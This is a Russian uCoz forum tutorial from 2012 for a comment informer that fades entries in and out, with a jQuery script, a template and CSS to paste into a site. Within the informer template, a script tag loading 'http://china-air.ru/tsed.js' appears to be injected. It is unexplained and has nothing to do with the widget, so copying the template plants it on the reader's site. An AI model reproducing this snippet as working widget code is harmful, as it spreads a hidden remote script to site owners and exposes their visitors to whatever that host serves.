[ Обновленные темы · Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Создание и продвижение сайтов » Скрипты для UCOZ » Информер с плавным обновлением коментариев
Информер с плавным обновлением коментариев
VerTeRRДата: Вторник, 25.12.2012, 16:33 | Сообщение # 1
Рядовой
Группа: Модераторы
Сообщений: 18
Награды: 1
Репутация: 6
Замечания: 0%
Статус: Оффлайн

Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее.

Установка!

Ставим этот скрипт после тега <body>:
Код
<script type="text/javascript">   
   $(document).ready(function(){   
   var first = 0;   
   var speed = 700;   
   var pause = 3500;   
     
   function removeFirst(){   
   first = $('ul#center_dm_ru li:first').html();   
   $('ul#center_dm_ru li:first')   
   .animate({opacity: 0}, speed)   
   .fadeOut('slow', function() {$(this).remove();});   
   addLast(first);   
   }   
     
   function addLast(first){   
   last = '<li style="display:none">'+first+'</li>';   
   $('ul#center_dm_ru').append(last)   
   $('ul#center_dm_ru li:last')   
   .animate({opacity: 1}, speed)   
   .fadeIn('slow')   
   }   
     
   interval = setInterval(removeFirst, pause);   
   });   
   </script>

Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код:
Код
<li>   
   <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>   
   </li>

Вставляем этот код в блок и меняем на свой информер:
Код
<ul id="center_dm_ru">   
   $MYINF_1$   
   </ul>

И прописываем в css стили информера:
Код
#center_dm_ru {   
   overflow:hidden;   
   height:250px;   
   width:250px;   
   border:solid 1px #C8D9E5;   
   padding: 0px 0px 0px 0px;   
   background: #F8FCFF;   
   }   

   #center_dm_ru li {   
   list-style:none;   
   overflow:hidden;   
   border-top: 1px solid #fff;   
   border-bottom: 1px solid #C8D9E5;   
   padding: 10px 5px 10px 5px;   
   }   

   .coment_avatar {   
   float:right;   
   width:25px;   
   height:25px;   
   background: #F3F3F3;   
   margin-left: 5px;   
   padding: 2px;   
   border:1px solid #C8D9E5;   
   }   

   .massage_link:link,   
   .massage_link:visited {   
   text-decoration: none;   
   color:#555;   
   }   

   .massage_link:hover {   
   color:#999;   
   }   

   #center_dm_ru li a:hover img {   
   filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);   
   -moz-opacity: 0.5;   
   opacity: 0.5;   
   filter: alpha(opacity=50);   
   }
 
Форум » Создание и продвижение сайтов » Скрипты для UCOZ » Информер с плавным обновлением коментариев
  • Страница 1 из 1
  • 1
Поиск: